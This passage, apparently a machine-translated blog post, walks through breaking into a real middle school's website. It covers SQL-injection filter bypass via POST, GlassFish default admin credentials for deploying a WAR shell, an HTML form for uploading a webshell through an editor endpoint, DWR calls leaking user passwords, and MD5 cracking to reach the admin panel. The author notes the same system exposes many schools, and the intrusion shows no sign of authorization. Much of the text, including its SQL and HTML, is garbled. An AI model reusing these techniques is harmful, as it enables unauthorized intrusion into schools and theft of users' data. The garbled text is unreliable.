Mysql: select database name from master.dbo.sysdatabase 2, Mysql:show databases 3, Sybase: select database name from master.dbo.sysdatabase a.name,b.colid,b.name,c.name,b.usertype,b.length,CASE WHEN b.status=0 THEN 'NOT NULL' WHEN b.status=8 THEN 'NULL' END status, d.text FROM sysobjects a,syscolumns b,systypes c,syscomments d WHERE a.id=b.id AND b.usertype=c.usertype AND a.type='U' --AND a.name='t_user' AND b.default *=d.id ORDER BY A.name, b.collid 4, Oracle:SELECT * FROM ALL_TABLESCopy the code


0x03 Simple Combat


This actual combat is not what difficulty, feel to find a can string together the previous demo is too difficult. The actual combat target is a middle school, the website using JavaWeb development. Last year, GET was bypassed by POST injection. On its official website and developers have done SQL injection detection, and then added developers QQ notification repair.

When I tested it again recently, I found that the bug had already been fixed. After looking at the developer, I found that it was using GlassFish:

The default glassfish administrator account is admin and the password is adminadmin. If you can log in to glassfish backstage, you can directly deploy a war to getshell. 

Since it doesn’t use an MVC framework like Struts2, it googled its JSP. The -news parameter indicates that it doesn’t want to include -news in its search results. 

Find a Flash upload point through GOOGLE. It is worth noting that upload and download is generally a common business in the project, so there may be consistency, that is, if the upload here is not successful, it may not be successful in the background. Attempt to upload shell:

Uploading files:

Since Tamper Data cannot intercept flash requests, build uploads using Chrome’s intercept record:

<html><head> <title></title></head> <body> <form enctype="multipart/form-data" action="http://www.x.cn/webschool/xheditor/upload.jsp?moduleId=98&limitExt=all&sid=0" method="post"> <input Name =" fileData "type="file"><br> < form> </body> </ HTML >Copy the code

TXT: RECEIve.txt

In general, I tend to focus on logic bugs, such as retrieving passwords, and when I look at the source code of the page, I do find something fishy about the DWR framework.

The DWR framework:

DWR is one of those strange things that people are trying to decouple, but instead it couples JS directly with back-end Java. DWR (Direct Web Remoting) is an open source framework for remote server-side Ajax to improve the interaction between Web pages and Java classes, helping developers develop Web sites that incorporate Ajax technology. It allows code in the browser to use JAVA methods running on the WEB server as if it were in the browser.

Once again, Users’ passwords have been given back to the gleason’s website

At the same time, I opened all the dynamic links to Google, and found an SQL injection vulnerability quite easily. I still use POST to submit, so that his anti-injection will not intercept me again. GetParameter (“parameter”) request. GetParameter (“parameter”) = 1

Broke MD5, into the background to change the upload file extension limit take shell all at one go:

GETSHELL: 

The actual combat may write a little bit simple, make do with this see. Because this is a set of general system, it is easy to get the shell of many schools through the system vulnerability, there may be a leak in the screenshot, hope to read the article do not attack it!